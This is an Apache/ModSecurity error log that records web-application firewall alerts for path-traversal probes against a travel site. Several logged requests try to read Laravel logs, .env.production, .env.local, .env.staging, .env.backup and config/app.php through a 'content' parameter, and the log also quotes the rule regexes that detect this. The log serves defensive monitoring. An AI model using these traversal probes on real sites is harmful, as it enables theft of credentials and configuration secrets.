[Fri Jul 17 08:55:06.969434 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkhHlOGcokz2QIwTTBwAAAAM"]
[Fri Jul 17 08:55:06.979376 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?content=..%2F..%2F..%2Fstorage%2Flogs%2Flaravel.log&junk=lBUU-PRJ1zfmAmIhzyzG9co5zziBF_GJqCwnOkNzfAVjVAP9tlIBmw3MOhIqasRQxfjkzyiEO7iE5dJcFKnjEKB_3uQP-CSJbqsPCaH_7-OppvG2g5VGAgNdyY_KddpUtcjmrfdQdqsqMhab6Ap-SLZD1SdtbUHM4U7Ch5Fg2lyfibATes-sKxYffkpXzIGvm3hzyT3X5HKPBgXd9r9rH7fdNWEw8PnOglbbSoNiGbwh-bIYCrzjrAyeWNSiJ7MB9RZ-Q-PPwHqX2OblmicDZxJ8&ts=HWIDD7RB4XOJ5DWW6KVS3Z63CWJAZID3JGCAVTUFN7F3SO6B6L3SH52JEF55YQO5AZIL2NRQBLYQUHU64L3LO4XLB5M4QAUNXRAPDYVEWKOTZBKLN..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2AVAAAAAU"]
[Fri Jul 17 08:55:06.979446 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2AVAAAAAU"]
[Fri Jul 17 08:55:06.979503 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?content=../../../storage/logs/laravel.log&junk=lBUU-PRJ1zfmAmIhzyzG9co5zziBF_GJqCwnOkNzfAVjVAP9tlIBmw3MOhIqasRQxfjkzyiEO7iE5dJcFKnjEKB_3uQP-CSJbqsPCaH_7-OppvG2g5VGAgNdyY_KddpUtcjmrfdQdqsqMhab6Ap-SLZD1SdtbUHM4U7Ch5Fg2lyfibATes-sKxYffkpXzIGvm3hzyT3X5HKPBgXd9r9rH7fdNWEw8PnOglbbSoNiGbwh-bIYCrzjrAyeWNSiJ7MB9RZ-Q-PPwHqX2OblmicDZxJ8&ts=HWIDD7RB4XOJ5DWW6KVS3Z63CWJAZID3JGCAVTUFN7F3SO6B6L3SH52JEF55YQO5AZIL2NRQBLYQUHU64L3LO4XLB5M4QAUNXRAPDYVEWKOTZBKLNFSICSMIZ4MUJNFYOTC..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2AVAAAAAU"]
[Fri Jul 17 08:55:06.979530 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?content=../../../storage/logs/laravel.log&junk=lbuu-prj1zfmamihzyzg9co5zzibf_gjqcwnoknzfavjvap9tlibmw3mohiqasrqxfjkzyieo7ie5djcfknjekb_3uqp-csjbqspcah_7-oppvg2g5vgagndyy_kddputcjmrfdqdqsqmhab6ap-slzd1sdtbuhm4u7ch5fg2lyfibates-skxyffkpxzigvm3hzyt3x5hkpbgxd9r9rh7fdnwew8pnoglbbsonigbwh-biycrzjrayewnsij7mb9rz-q-ppwhqx2oblmicdzxj8&ts=hwidd7rb4xoj5dww6kvs3z63cwjazid3jgcavtufn7f3so6b6l3sh52jef55yqo5azil2nrqblyquhu64l3lo4xlb5m4qaunxrapdyvewkotzbklnfsicsmiz4mujnfyotc..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2AVAAAAAU"]
[Fri Jul 17 08:55:06.979555 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2AVAAAAAU"]
[Fri Jul 17 08:55:06.979574 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2AVAAAAAU"]
[Fri Jul 17 08:55:06.980836 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2AVAAAAAU"]
[Fri Jul 17 08:55:06.981027 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.981353 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkhAi3pC6yjXGNq2AVAAAAAU"]
[Fri Jul 17 08:55:06.993335 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUWAAAABI"]
[Fri Jul 17 08:55:06.993387 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBRAAAABs"]
[Fri Jul 17 08:55:06.993394 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUWAAAABI"]
[Fri Jul 17 08:55:06.993419 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBRAAAABs"]
[Fri Jul 17 08:55:06.994521 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBRAAAABs"]
[Fri Jul 17 08:55:06.994551 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUWAAAABI"]
[Fri Jul 17 08:55:06.994645 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.994658 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.994924 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkl1_86A5R6msWNfUWAAAABI"]
[Fri Jul 17 08:55:06.994932 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkqquHSHoCJK_V0SBRAAAABs"]
[Fri Jul 17 08:55:07.004650 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95ngAAAAw"]
[Fri Jul 17 08:55:07.004688 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95ngAAAAw"]
[Fri Jul 17 08:55:07.005895 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95ngAAAAw"]
[Fri Jul 17 08:55:07.006055 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.006302 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4l9vhFBGA6D8l95ngAAAAw"]
[Fri Jul 17 08:55:07.006383 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUWQAAABI"]
[Fri Jul 17 08:55:07.006414 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUWQAAABI"]
[Fri Jul 17 08:55:07.006573 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBRQAAABs"]
[Fri Jul 17 08:55:07.006604 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:content: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBRQAAABs"]
[Fri Jul 17 08:55:07.006674 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:content: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBRQAAABs"]
[Fri Jul 17 08:55:07.007584 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUWQAAABI"]
[Fri Jul 17 08:55:07.007715 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.007748 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBRQAAABs"]
[Fri Jul 17 08:55:07.007840 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.008004 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk11_86A5R6msWNfUWQAAABI"]
[Fri Jul 17 08:55:07.008100 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk6quHSHoCJK_V0SBRQAAABs"]
